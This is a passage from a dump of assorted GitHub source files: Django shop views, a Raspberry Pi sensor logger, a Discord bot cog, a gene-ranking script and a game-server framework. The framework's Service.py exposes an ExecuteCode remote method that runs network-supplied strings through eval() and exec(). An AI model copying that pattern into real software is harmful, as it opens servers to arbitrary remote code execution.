context_object_name = \"Products\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"comment_forms\"] = CommentForm()\n context[\"add_to_cart_form\"] = AddToCart()\n return context\n\n\nclass CommentCreatView(generic.CreateView):\n model = Comment\n form_class = CommentForm\n\n #def get_success_url(self):\n #return reverse(\"product_list\")\n\n\n def form_valid(self, form):\n obj = form.save(commit=False)\n obj.author = self.request.user\n\n pk = int(self.kwargs[\"pk\"])\n product = get_object_or_404(Products, id=pk)\n obj.product = product\n\n\n messages.success(self.request , \"successfully created\")\n\n return super().form_valid(form)\n\n\n\ndef search_products(request):\n form = ProductSearchForm(request.GET)\n results = []\n\n if form.is_valid():\n search_query = form.cleaned_data['search_query']\n results = Products.objects.filter(\n Q(title__icontains=search_query) | Q(description__icontains=search_query)\n )\n\n return render(request, 'Products/search_results.html', {'form': form, 'results': results})\n\n@login_required\ndef like_product(request, pk):\n product = get_object_or_404(Products, pk=pk)\n user = request.user\n # حذف دیس‌لایک اگر کاربر محصول را دیس‌لایک کرده باشد\n if product.is_disliked_by(user):\n product.like_set.filter(user=user, value=False).delete()\n # اضافه یا حذف لایک بسته به وضعیت کنونی\n if product.is_liked_by(user):\n product.like_set.filter(user=user, value=True).delete()\n else:\n product.like_set.create(user=user, value=True)\n # بازگشت به صفحه محصول\n return redirect(\"product_list\")\n\n@login_required\ndef dislike_product(request, pk):\n product = get_object_or_404(Products, pk=pk)\n user = request.user\n # حذف لایک اگر کاربر محصول را لایک کرده باشد\n if product.is_liked_by(user):\n product.like_set.filter(user=user, value=True).delete()\n # اضافه یا حذف دیس‌لایک بسته به وضعیت کنونی\n if product.is_disliked_by(user):\n product.like_set.filter(user=user, value=False).delete()\n else:\n product.like_set.create(user=user, value=False)\n # بازگشت به صفحه محصول\n return redirect(\"product_list\")\n\n\n\n\nfrom django.http import HttpResponse, HttpResponseServerError, HttpResponseNotFound\nfrom wsgiref.util import FileWrapper\nimport os\n\ndef download_pdf(request):\n filename = 'faults.pdf'\n try:\n file = open(filename, 'rb')\n content = FileWrapper(file)\n response = HttpResponse(content, content_type='application/pdf')\n response['Content-Length'] = os.path.getsize(filename)\n response['Content-Disposition'] = 'attachment; filename=%s' % 'faults.pdf'\n return response\n except (FileNotFoundError, IOError):\n return HttpResponseNotFound(\"File not found or not readable: %s\" % filename)\n except Exception as e:\n return HttpResponseServerError(\"An error occurred: %s\" % str(e))\n\n\nclass ProductsCreateView(LoginRequiredMixin , generic.CreateView):\n\n model = Products\n fields = [\"title\", \"description\", \"price\",\"short_description\",\"image\",\"pdf_file\",]\n template_name = \"products/product_create.html\"\n\n\n","repo_name":"mahdirajabpour7/django_course_online_shop","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70761273448","text":"from typing import Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nT = TypeVar(\"T\", bound=\"SubjectPersonNameType\")\n\n\n@attr.s(auto_attribs=True)\nclass SubjectPersonNameType:\n \"\"\"\n Attributes:\n type (str):\n first_name (str):\n surname (str):\n trade_name (Union[Unset, str]):\n \"\"\"\n\n type: str\n first_name: str\n surname: str\n trade_name: Union[Unset, str] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n type = self.type\n first_name = self.first_name\n surname = self.surname\n trade_name = self.trade_name\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"type\": type,\n \"firstName\": first_name,\n \"surname\": surname,\n }\n )\n if trade_name is not UNSET:\n field_dict[\"tradeName\"] = trade_name\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n type = d.pop(\"type\")\n\n first_name = d.pop(\"firstName\")\n\n surname = d.pop(\"surname\")\n\n trade_name = d.pop(\"tradeName\", UNSET)\n\n subject_person_name_type = cls(\n type=type,\n first_name=first_name,\n surname=surname,\n trade_name=trade_name,\n )\n\n subject_person_name_type.additional_properties = d\n return subject_person_name_type\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"JakubSzwajka/ksef-python-client","sub_path":"ksef_client/ksef_client/models/subject_person_name_type.py","file_name":"subject_person_name_type.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"} +{"seq_id":"40248999954","text":"from django.urls import path\n\nfrom geonames.db.create_db import create_db\nfrom geonames.views import *\n\n\napp_name = 'geonames'\n\nurlpatterns = [\n path('geonameid', GeoNamesInfoView.as_view()),\n path('page', GeoNamesPageView.as_view()),\n path('compare', GeoNamesCompareView.as_view()),\n path('hint', GeoNamesHintView.as_view()),\n]\n\n\n","repo_name":"n9t9l119/django-restful-api","sub_path":"geonames/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"sh","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"24451999058","text":"__author__ = 'Mohamed'\nimport numpy as np\nfrom math import sqrt\nfrom scipy.stats.stats import *\nfrom prepare import *\nimport pandas as pd\n\nROWS = 1\nCOLUMNS = 0\n\n\n\n\n\n\ndef dawnDamping(adj,mu=3.0):\n\n matrix = np.matrix(adj)\n links = matrix.sum(axis=COLUMNS)\n dvec = links / (links+mu)\n\n return dvec\n\n\n\n\n\n\n\ndef dawnMatrix(adjMatrix):\n matrix = np.matrix(adjMatrix)\n colsums = matrix.sum(axis=COLUMNS)\n transposed = matrix\n #transitionMatrix = np.transpose((transposed/(colsums+1e-16)))\n intermediate = (colsums + 1e-16)\n transitionMatrix = np.divide(transposed,intermediate)\n return transitionMatrix\n\n\ndef Dawn(adjMatrix,expressionVector,mutationVector,damping,maxit=100,\n epsilon=1e-04,goldStandard=None,patientTag=\"defaultPatient\"):\n\n\n dawnmatrix = dawnMatrix(adjMatrix)\n expressionVector = expressionVector.transpose()\n ranking_T = expressionVector/expressionVector.sum()\n ranking_T = ranking_T.transpose()\n constantTerm = expressionVector/expressionVector.sum()\n tail = (1-damping)\n constantTerm = np.multiply(constantTerm,tail)\n\n capsule = {}\n\n for i in range(1,maxit):\n first = np.multiply(dawnmatrix,ranking_T)\n first = np.diag(first)\n second = np.multiply(first,damping)\n second = second.transpose()\n third = second + constantTerm\n third = np.diag(third)\n third = np.matrix(third)\n ranking_T1 = third.transpose()\n inner = ranking_T1 - ranking_T\n powered = np.power(inner,2)\n mag = sqrt(powered.sum())\n ranking_T = ranking_T1\n print (\"mag : %s\" % mag)\n if mag < epsilon:\n print(\"We are breaking from the loop\")\n break\n\n capsule['Rank'] = ranking_T\n capsule['PercentRank'] = 100.0 * (rankdata(ranking_T) / (len(ranking_T) + 1))\n capsule['isMutated'] = mutationVector\n\n mutatedRanks = []\n\n if mutationVector != None:\n\n if mutationVector.sum() > 0:\n mutatedRanks = (mutationVector == 1.0)\n # mutatedRanks = mutatedRanks[:,-3]\n else:\n mutatedRanks = [0.0 for x in range(len(mutationVector))]\n\n\n return {'summaryOutput':capsule , 'mutatedRanks' : mutatedRanks}\n\n\n\n\n\ndef main():\n\n adjfile = open('/home/snouto/Desktop/adjmatrixPickled.bin','rb')\n expressionfile = open('/home/snouto/Desktop/expressionData.bin','rb')\n adjmatrix = pickle.load(adjfile)\n adjacencymatrix = [[float(x) for x in list] for list in adjmatrix]\n adjacencymatrix = np.matrix(adjacencymatrix)\n expressionMatrix = pickle.load(expressionfile)\n expressionMatrix = [[float(x) for x in list] for list in expressionMatrix]\n expressionMatrix = np.matrix(expressionMatrix)\n expressionVector = expressionMatrix[:,0]\n\n adjmatrix = np.matrix(adjmatrix)\n expressionMatrix = np.matrix(expressionMatrix)\n expressionVector = expressionMatrix[:,0]\n damping = dawnDamping(adjmatrix)\n\n dawn = Dawn(adjmatrix,expressionVector,None,damping)\n\n print (dawn)\n\n return dawn\n\n\n\nif __name__ =='__main__':\n main()\n\n","repo_name":"snouto/Cliniome","sub_path":"dawn.py","file_name":"dawn.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74206858728","text":"from glob import glob\n\n\n\ndef analyse(file_names):\n score_dict = {}\n for filename in file_names:\n task_name = filename.split(\"/\")[-1]\n total_examples = 0\n masked_examles =0\n total_masked_words = 0\n total_words = 0\n with open(filename) as in_file:\n lines = in_file.readlines()\n total_examples = len(lines)/3\n for idx in range(0,len(lines),3):\n masked_count = 0\n masked_line = lines[idx+1].strip().lower()\n words_count = len(masked_line.split())\n for word in masked_line.split():\n if word=='[mask]':\n masked_count +=1\n if masked_count!=0:\n masked_examles +=1\n total_words += words_count\n total_masked_words += masked_count\n score_dict[task_name] = {\"total_example\": total_examples,\"masked_exampls\":masked_examles,\"total_words\":total_words,\"total_masked_words\": total_masked_words}\n for task_name in sorted(score_dict.keys()):\n scores = score_dict[task_name]\n print(\"{}\".format(task_name))\n _ = [ print(\"{}:{}\\n\".format(k,v)) for k,v in scores.items()]\n\n\n\n\n\n\n\nif __name__==\"__main__\":\n file_names = glob(\"./fewshot_mams_1/*\")\n analyse(file_names)\n","repo_name":"BinLiang-NLP/FSACSA","sub_path":"masked_feature/mask_feature_satistics.py","file_name":"mask_feature_satistics.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"71873459687","text":"import argparse\nimport os\nimport sys\nimport signal\nfrom functools import partial\nfrom time import time\n\nimport psutil\n\nfrom Core.CommandLine import CommandLine\nfrom Core import ERROR_MSG, WARN_MSG, Log\nfrom Core import INFO_MSG\nfrom Core.Access import Access, AccessLevel\nfrom Core.AsyncObj import AsyncObj\nfrom Core.ConfigSystem.AppsConfig import UE4AppConfigBase\nfrom Core.ConfigSystem.Bases import Configuration, AppConfig, AppConfigType, AppKind, ConfigGlobals\nfrom Core.Declarators.Specs import CaptureConnection, Exposed\nfrom Core.Declarators.rmi import rmi\nfrom Core.Entity import Entity\nfrom Core.ExceptionsRegistry import NetException\nfrom Core.GlobalManagers import EntitiesDispatcher\nfrom Core.LocalDatatypes import int32, FString\nfrom Core.TCP.TestProtocolClient import TCPClient, create_connection\nfrom Core.TCP.TestProtocolServer import create_server\nfrom Core.ClientConnectionHandler import ClientConnectionHandler\nfrom Core.Globals import Globals\nimport subprocess\n\nimport asyncio\n\nfrom Core.Utils import is_valid, get_retcode_descr\n\n\nclass WakeupError(NetException):\n pass\n\n\nclass Service(Entity):\n is_main_entity = True\n is_exposed = False\n entity_type = \"service\"\n context_name = \"unknown\"\n\n endpoint = \"0.0.0.0\", 9900\n\n child_service_port_start = 9090\n max_services = 10 # unused\n max_dedicated_servers = 4\n\n @property\n def entities(self):\n return EntitiesDispatcher().entities\n\n def next_port(self):\n r = self.next_service_port\n self.next_service_port += 1\n return r\n\n def get_region(self):\n return CommandLine.get_arguments().region\n\n async def __ainit__(self):\n await super().__ainit__()\n self.started_time = time()\n args = self.get_args()\n\n self.next_service_port = self.child_service_port_start\n\n cls_name = self.__class__.__name__\n\n config: AppConfigType = Configuration()[cls_name]\n\n if not config:\n ERROR_MSG(\"Failed to read config! There is no section for %s\" % cls_name)\n self.config = config\n\n Globals.no_logging = self.config.DisableLog\n\n # INFO_MSG('~')\n if self.config.Kind in [AppKind.Single, AppKind.Static]:\n self.endpoint = self.config.get_endpoint()\n self.exposed_ip = self.config.get_exposed_ip()\n\n # INFO_MSG(\"Test\")\n if args.service_port is not None:\n self.endpoint = self.endpoint[0], args.service_port\n\n # ERROR_MSG(f\"T {args.causer_exposed_ip}\")\n if not args.causer_exposed_ip or args.causer_exposed_ip == '0.0.0.0':\n try:\n self.exposed_ip = self.config.get_exposed_ip()\n except NotImplementedError:\n self.exposed_ip = '...'\n\n serving = not self.config.NoServer\n self.tcp_server = await create_server(self.endpoint, serving)\n\n Globals.disabled_log_categories = ConfigGlobals.DisabledLogs\n\n if not self.get_args().silent:\n INFO_MSG(\"%s started! with %s\" % (cls_name, self.get_args()))\n INFO_MSG(\"%s started at %s (%s)\" % (cls_name, self.endpoint if serving else \"None\", self.get_region()))\n INFO_MSG(\"Version: %s, generator signature: %s\" % (Globals.version, Globals.generator_signature))\n INFO_MSG(\"Description: %s\" % self.config.Description)\n\n self.processes = dict()\n\n self.postfix = self.get_args().postfix\n\n if args.causer_exposed_ip and args.causer_exposed_ip != '0.0.0.0':\n self.exposed_ip = args.causer_exposed_ip\n INFO_MSG(f\"Causer exposed {self.exposed_ip}\")\n\n await self.start()\n\n self.dedicated_servers = list()\n\n if args.causer_ip is not None and args.causer_port is not None:\n INFO_MSG(f\"Call to causer: {args.causer_ip}:{args.causer_port}\")\n mbox = await Service.make_mailbox(\"base\", \"Service\", (args.causer_ip, args.causer_port))\n await mbox.TellPID(os.getpid())\n # ERROR_MSG(f\"{self.exposed_ip}\")\n\n def terminate(self):\n INFO_MSG(f\"Service {self.get_class_name()} going to be stopped\")\n\n def on_terminate(proc):\n process_info = self.processes.get(proc.pid)\n status = proc.status()\n WARN_MSG(\"Process did't terminated after timeout. pid: %s, status: %s, info: %s\", proc.pid, status, process_info)\n\n processes = []\n for pid, info in self.processes.items():\n process = psutil.Process(pid)\n processes.append(process)\n process.terminate()\n INFO_MSG(f\"Service {self.get_class_name()}. Send terminate to {info['name']}, status: {process.status()}, pid_exists: {psutil.pid_exists(pid)}\")\n\n if processes:\n try:\n from time import sleep\n # sleep(5)\n # for i in processes:\n # INFO_MSG(f\"1 Service {self.get_class_name()}. -- {i.pid} --, status: {i.status()}, pid_exists: {psutil.pid_exists(i.pid)}\")\n gone, alive = psutil.wait_procs([i for i in processes if i.status() != psutil.STATUS_ZOMBIE], timeout=60, callback=on_terminate)\n # todo: Some strange sings here\n except Exception as e:\n WARN_MSG(f\"Service {self.get_class_name()} exception {e}\")\n INFO_MSG(f\"Service {self.get_class_name()} is stopped\")\n sys.exit(0)\n\n def time(self):\n return time() - 1_493_121_313.74268 # уменьшаем\n\n async def start(self):\n \"\"\" Вызывается при готовности работы сервиса \"\"\"\n\n async def done(self):\n pass\n\n def sigterm_handler(self, signal, frame):\n INFO_MSG(f\"sigterm_handler {self.get_class_name()} going to be stopped\")\n self.terminate()\n\n @classmethod\n def __run__(cls, *args, **kwargs):\n Globals.access_token = Access().register_access(\"SUPER INTERNAL ACCESS\", AccessLevel.Internal)\n Globals.service_name = cls.__name__ + CommandLine.get_arguments().postfix\n service_instance = cls(*args, **kwargs)\n Globals.this_service = service_instance\n\n signal.signal(signal.SIGTERM, service_instance.sigterm_handler)\n # signal.signal(signal.SIGBREAK, service_instance.sigterm_handler)\n signal.signal(signal.SIGINT, service_instance.sigterm_handler)\n\n try:\n asyncio.get_event_loop().run_until_complete(service_instance) # this calls __await__\n asyncio.get_event_loop().run_until_complete(service_instance.done())\n asyncio.get_event_loop().run_forever()\n except KeyboardInterrupt:\n INFO_MSG(\"Preparing to shut down service...\")\n except Exception as exc:\n from traceback import print_exc\n ERROR_MSG(\"Exception raised:\", exc)\n print_exc()\n INFO_MSG(\"Press enter to continue\")\n input()\n print(\"What's your name?\\n> \", end=\"\")\n name = input()\n print(f\"{name}, how did you come to this?\\n> \", end=\"\")\n reason = input()\n WARN_MSG(f'The program has been stopped, the {name} provoked an error, and says: \"{reason}\". Dismiss him')\n\n async def create_client_connection(self, endpoint, on_lost=None):\n INFO_MSG(f\"{endpoint}\")\n if endpoint not in self.tcp_server.clients:\n _, connection = await create_connection(endpoint, on_lost=on_lost)# await TCPClient(endpoint, ClientConnectionHandler, do_open_connection=True)\n if is_valid(connection):\n self.tcp_server.clients[endpoint] = connection\n connection.add_lost_callback(partial(self.on_lost_client, endpoint))\n return connection\n else:\n self.tcp_server.clients[endpoint].add_lost_callback(on_lost)\n connection = self.tcp_server.clients[endpoint]\n connection.add_lost_callback(partial(self.on_lost_client, endpoint))\n if not is_valid(connection):\n del self.tcp_server.clients[endpoint]\n return connection\n\n def on_lost_client(self, endpoint, connection):\n if endpoint in self.tcp_server.clients:\n del self.tcp_server.clients[endpoint]\n\n async def stop(self):\n await self.tcp_server.close()\n # await self.service_future.stop()\n asyncio.get_event_loop().stop()\n # asyncio.get_event_loop().call_soon_threadsafe(asyncio.get_event_loop().close)\n\n def get_args(self):\n return CommandLine.get_arguments()\n\n def open_process(self, service_path, arguments=list(), is_python_process=True, extented_param=None, **kwargs):\n cmd_kwargs = list()\n\n kwargs['no_color_patterns'] = CommandLine.get_arguments().no_color_patterns\n\n for key, value in kwargs.items():\n if CommandLine.has_arg(key):\n arg_type = CommandLine.get_arg_type(key)\n kwarg = \"-%s=%s\" % (key, arg_type(value))\n cmd_kwargs.append(kwarg)\n else:\n ERROR_MSG(\"Unable to pass %s parameter, not exists in CommandLine.py: Arguments class\" % key)\n\n # cmd_kwargs = [\"-%s=%s\" % (key, value) for key, value in kwargs.items()]\n cmd_args = list()\n python_executable_name = ConfigGlobals.PythonExecutable\n if is_python_process:\n cmd_args.append(python_executable_name)\n cmd_args.extend(service_path) if isinstance(service_path, list) else cmd_args.append(service_path)\n if extented_param is not None:\n cmd_args.append(extented_param)\n cmd_args.extend(cmd_kwargs)\n cmd_args.extend(arguments)\n\n process = subprocess.Popen(cmd_args, shell=False)\n\n INFO_MSG(f\"Opening process {process.pid}\", cmd_args)\n # print(cmd_args)\n return process\n\n @rmi(CaptureConnection, Exposed, access=0)\n async def TellPID(self, connection, pid: int32):\n \"\"\"\n Сообщить PID этому сервису\n @param pid: идентификатор процесса\n \"\"\"\n if pid in self.processes and not self.processes[pid]['future'].done():\n INFO_MSG(f\"{connection} ({self.processes[pid]['name']}) tells pid {pid} in {round(time() - self.processes[pid]['opened_at'], 6)} seconds\")\n self.processes[pid]['future'].set_result( await self.create_client_connection(self.processes[pid]['endpoint']) )\n else:\n ERROR_MSG(\"Failed to tell PID! \"\n f\"There are no processes runned with pid {pid} or this process already told PID.\"\n \"Probably you run process which lanuched child process (be sure if this is UE4 dedicated server, \"\n \"check the right path, not a PROJECTNAME.exe in root dir)\")\n\n async def async_wakeup_service_locally(self, service_path, arguments, port, is_python_process=True, index=0, name=None):\n INFO_MSG(f\"{service_path}, {arguments}, {port}, {is_python_process}, {index}, {name}\")\n if arguments is None:\n arguments = dict()\n access_token = Access().generate(AccessLevel.Internal)\n\n # WARN_MSG(f\"Opening (causer {self.exposed_ip}\")\n proc = self.open_process(service_path, is_python_process=is_python_process,\n service_port=port,\n causer_ip=self.endpoint[0],\n causer_exposed_ip=self.exposed_ip,\n causer_port=self.endpoint[1],\n postfix=('[%i]' % index) if index else \"\",\n region=self.config.get_region(),\n **arguments,\n\n access_token=access_token,\n is_child_process=True)\n future_data = self.processes[proc.pid] = {\n 'future': asyncio.Future(loop=asyncio.get_event_loop()),\n 'endpoint': (self.endpoint[0], port),\n 'opened_at': time(),\n 'name': name\n }\n\n try:\n service_connection = await future_data['future']\n except Exception as e:\n ERROR_MSG(\"Something went wrong in future\", e)\n return None\n\n return service_connection, proc\n\n async def async_wakeup_dedicated_server_locally(self, service_path, map_name, base_ip, base_port, ue4_arguments, arguments, keyword_arguments, port, is_python_process=True, index=0, name=None):\n if len(self.dedicated_servers) >= self.max_dedicated_servers:\n raise WakeupError(\"Unable to wakeup dedicated server. Out of limit\")\n\n if keyword_arguments is None:\n keyword_arguments = dict()\n\n extented_param = None\n if ue4_arguments is not None:\n extented_param = map_name\n for idx, (key, value) in enumerate(ue4_arguments.items()):\n extented_param += (\"?\" if idx == 0 else \"&\") + \"%s=%s\" % (key, value)\n\n INFO_MSG(\"Opening '%s' '%s'\" % (service_path, extented_param))\n\n access_token = Access().generate(AccessLevel.Internal)\n custom_local_network_version = Configuration()['UE4App'].CustomLocalNetworkVersion\n custom_local_network_version = custom_local_network_version if custom_local_network_version else 0\n\n proc = self.open_process(service_path, is_python_process=is_python_process,\n service_port=port,\n causer_exposed_ip=self.exposed_ip,\n causer_ip=self.endpoint[0],\n causer_port=self.endpoint[1],\n base_ip=base_ip,\n base_port=base_port,\n postfix=('[%i]' % index) if index else \"[0]\",\n local_network_version=custom_local_network_version,\n arguments=arguments,\n **keyword_arguments,\n\n access_token=access_token,\n is_child_process=True,\n extented_param=extented_param)\n future_data = self.processes[proc.pid] = {'future': asyncio.Future(loop=asyncio.get_event_loop()),\n 'endpoint': (self.endpoint[0], port),\n 'opened_at': time(),\n 'name': name}\n\n try:\n service_connection = await future_data['future']\n self.dedicated_servers.append(service_connection)\n service_connection.add_lost_callback(lambda conn: self.dedicated_servers.remove(conn))\n INFO_MSG(\"Total dedicated servers %i\" % len(self.dedicated_servers))\n except Exception as e:\n ERROR_MSG(\"Something went wrong in future\", e)\n return None\n\n return service_connection, proc\n\n def on_service_connection_lost(self, process: subprocess.Popen, connection):\n try:\n process.wait(1.0)\n except subprocess.TimeoutExpired:\n WARN_MSG(f\"Something went wrong with process {process.pid}. Timeout expired\")\n return\n\n if process.returncode:\n WARN_MSG(f\"Process {process.pid} has been disconnected with return code {process.returncode} ({get_retcode_descr(process.returncode)}) \")\n else:\n WARN_MSG(f\"Process {process.pid} just disconnected\")\n\n async def async_wakeup_service_locally_by_name(self, service_name, arguments=None, port=0, index=0):\n service_config: AppConfigType = Configuration()[service_name]\n if port == 0:\n if service_config.Kind in [AppKind.Static, AppKind.Single]:\n port = service_config.get_endpoint()[1]\n else:\n port = self.next_port()\n\n if service_config is not None:\n path = service_config.Path\n is_python_service = not service_config.NoPython\n if path is None:\n path = service_name + \".py\"\n connection, process = await self.async_wakeup_service_locally(path, arguments, port=port, is_python_process=is_python_service, index=index, name=service_name)\n connection.add_lost_callback(partial(self.on_service_connection_lost, process))\n mailbox = await Service.make_mailbox('base', \"Service\", connection)\n mailbox.set_service_info(service_name)\n return mailbox, process.pid\n\n async def async_wakeup_dedicated_server_locally_by_name(self, service_name, map_name, base_ip, base_port, ue4_arguments=None, keyword_arguments=None, port=0, index=0):\n service_config: UE4AppConfigBase = Configuration()[service_name]\n if service_config is not None:\n path = service_config.Path\n is_python_service = not service_config.NoPython\n arguments = service_config.Args\n if path is None:\n path = service_name + \".py\"\n connection, process = await self.async_wakeup_dedicated_server_locally(path, map_name, base_ip, base_port, ue4_arguments, arguments, keyword_arguments, port=port, is_python_process=is_python_service, index=index, name=service_name)\n connection.add_lost_callback(partial(self.on_service_connection_lost, process))\n mailbox = await Service.make_mailbox('ue4', \"Service\", connection)\n mailbox.set_service_info(service_name)\n return mailbox, process.pid\n\n async def get_single_service(self, service_name):\n service_config: AppConfigType = Configuration()[service_name]\n mailbox = await Service.make_mailbox(service_config.Context, service_name, service_config.Endpoint)\n return mailbox\n\n @rmi(access=2)\n def Terminate(self):\n \"\"\" Завершить процесс \"\"\"\n asyncio.get_event_loop().call_soon(self.terminate)\n\n @rmi(access=2)\n async def ExecuteCode(self, code_string: FString) -> FString:\n \"\"\"\n Выполнить произвольный код \n @param code_string: строка кода\n @return: результат выполнения кода\n \"\"\"\n code_string = code_string.replace(\"$$20\", \"\\n\")\n try:\n result = eval(code_string)\n return str(result).replace(\"<\", \"<\").replace(\">\", \">\")\n except Exception as e:\n try:\n code = compile(code_string, \"\", 'exec')\n exec(code)\n except Exception as e:\n from traceback import print_exc, format_exc\n # print_exc()\n return format_exc()\n\n return \"\"\n","repo_name":"broly/HaloNet","sub_path":"HaloNet/System/Core/Service.py","file_name":"Service.py","file_ext":"py","file_size_in_byte":18735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"41818840847","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nshoes = int(input())\nsizes = input().split()\ncustomers = int(input())\nearnings = 0\n\nfor i in range(customers):\n offer = input().split()\n if offer[0] in sizes:\n earnings += int(offer[1])\n sizes.remove(offer[0])\n \nprint(earnings)\n\n","repo_name":"JakubTomaszewski/HackerRank","sub_path":"collectionsCounter.py","file_name":"collectionsCounter.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5134514572","text":"# declare libraries\nimport RPi.GPIO as GPIO\nimport smbus\nimport Adafruit_DHT\nimport sqlite3\nimport requests\nimport json\nimport time\nfrom datetime import datetime\nfrom api import ip_address, moisture_analog_wet, moisture_analog_dry\n\n# declare sensor type\nDHT_sensor = Adafruit_DHT.DHT11\n\n# declare raspberry pi i2c address\naddress = 0x48\n\n# declare GPIO mode\nGPIO.setmode(GPIO.BOARD)\n\n# declare pin GPIO\nsoil_moisture = 11\n#water_pump = 12\nDHT = 17\n\n# setup GPIO type\nGPIO.setup(soil_moisture, GPIO.IN)\n#GPIO.setup(water_pump, GPIO.OUT)\n\n# declare DB name\ndbname='sensors_data.db'\n\n# declare logging frequency\nlogging_frequency = 1*60\n \n# get raw data from DHT sensor\ndef getData():\n \n # get humidity and temperature data from digital sensor\n humidity, temperature = Adafruit_DHT.read_retry(DHT_sensor, DHT)\n\n # get reservoir level from analog sensor \n \n bus = smbus.SMBus(1)\n reservoir = bus.read_byte_data(address,0)\n bus.close()\n # get soil moisture level from analog sensor \n \n bus = smbus.SMBus(1)\n moisture = bus.read_byte_data(address,1)\n bus.close()\n \n # get lighting level from analog sensor\n bus = smbus.SMBus(1)\n sunlight = bus.read_byte_data(address,2)\n bus.close()\n\n \n return moisture,temperature,humidity,sunlight,reservoir\n\n# log data with no processing\ndef logData(moisture,temperature,humidity,sunlight,reservoir):\n \n dt = datetime.today().strftime('%d-%m-%Y %H:%M:%S')\n conn=sqlite3.connect(dbname)\n curs=conn.cursor()\n curs.execute(\"INSERT INTO sensors_data (timestamp,moisture,temperature,humidity,sunlight,reservoir) VALUES ((?), (?), (?), (?), (?), (?))\", (dt,moisture,temperature,humidity,sunlight,reservoir))\n conn.commit()\n conn.close()\n\n# running function\ntry:\n \n while True:\n \n \n moisture,temperature,humidity,sunlight,reservoir = getData()\n \n # workaround smbus issue where reservoir data will overwrite the rest\n while (reservoir == moisture or reservoir == sunlight):\n moisture,temperature,humidity,sunlight,reservoir = getData() \n print(\"R: \",reservoir, \" M: \", moisture, \" S: \", sunlight)\n logData(moisture,temperature,humidity,sunlight,reservoir)\n \n response_watering = requests.post(url='http://' + ip_address + ':8087/auto_water_plant',data=json.dumps({'moisture': moisture, 'reservoir': reservoir}))\n result_watering = response_watering.json()\n \n response_fertilising = requests.post(url='http://' + ip_address + ':8087/auto_fertiliser')\n result_fertilising = response_fertilising.json()\n \n response_notification = requests.post(url='http://' + ip_address + ':8087/send_notification',data=json.dumps({'reservoir': reservoir}))\n result_notification = response_notification.json()\n \n print(\"Status for Watering \",result_watering['status'],\"-\", result_watering['data'])\n print(\"Status for Fertilising \",result_fertilising['status'],\"-\", result_fertilising['data'])\n print(\"Status for Notification \",result_notification['status'],\"-\", result_notification['data'])\n \n time.sleep(logging_frequency) \n \nfinally:\n \n GPIO.cleanup() \n","repo_name":"GanJL/cs460-g1t4","sub_path":"server/dataLogging.py","file_name":"dataLogging.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"42389357632","text":"import discord\nfrom discord.ext import commands\n\nimport json\n\n\nclass GuildFunctions(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.command(aliases=[\"changeprefix\"])\n @commands.has_role(\"Moderators\")\n async def change_prefix(self, ctx, prefix):\n with open('cogs/prefixes.json', 'r') as f:\n prefixes = json.load(f)\n\n if len(prefix) == 1:\n prefixes[str(ctx.guild.id)] = prefix\n else:\n await ctx.send(\"You can't put a prefix that's more than one character!\")\n\n with open('cogs/prefixes.json', 'w') as f:\n json.dump(prefixes, f, indent=4)\n embed = discord.Embed(\n description=f\"The changed prefix is: {prefixes[str(ctx.guild.id)]}\",\n colour=discord.Colour.purple()\n )\n await ctx.send(embed=embed)\n\n @commands.command(aliases=[\"addrole\"])\n @commands.has_role(\"Moderators\")\n # The * causes role to hold the user input text after the member name, including any interior whitespace.\n # This lets the user write the following to add the \"My Little Pony\" role to hogarth: .addrole @hogarth My Little Pony\n async def add_roles(self, ctx, member: discord.Member, *, role: discord.Role):\n await member.add_roles(role)\n embed = discord.Embed(\n title=\"**Role added**\",\n description=f\"{member.mention} awarded the **{role}** role\",\n colour=discord.Colour.red()\n )\n await ctx.send(embed=embed)\n\n @commands.command(aliases=[\"delrole\"])\n @commands.has_role(\"Moderators\")\n async def del_roles(self, ctx, member: discord.Member, *, role: discord.Role):\n await member.remove_roles(role)\n embed = discord.Embed(\n title=\"**Role deleted**\",\n description=f\"{role} role has been revoked from {member.mention}\",\n colour=discord.Colour.red()\n )\n await ctx.send(embed=embed)\n\n\ndef setup(client):\n client.add_cog(GuildFunctions(client))\n","repo_name":"JustCasuallyJames/Scarlett-Discord-Bot","sub_path":"cogs/GuildFunctions.py","file_name":"GuildFunctions.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9621413090","text":"\nfrom flask import Flask\nfrom flask import request\nfrom flask import render_template\nfrom 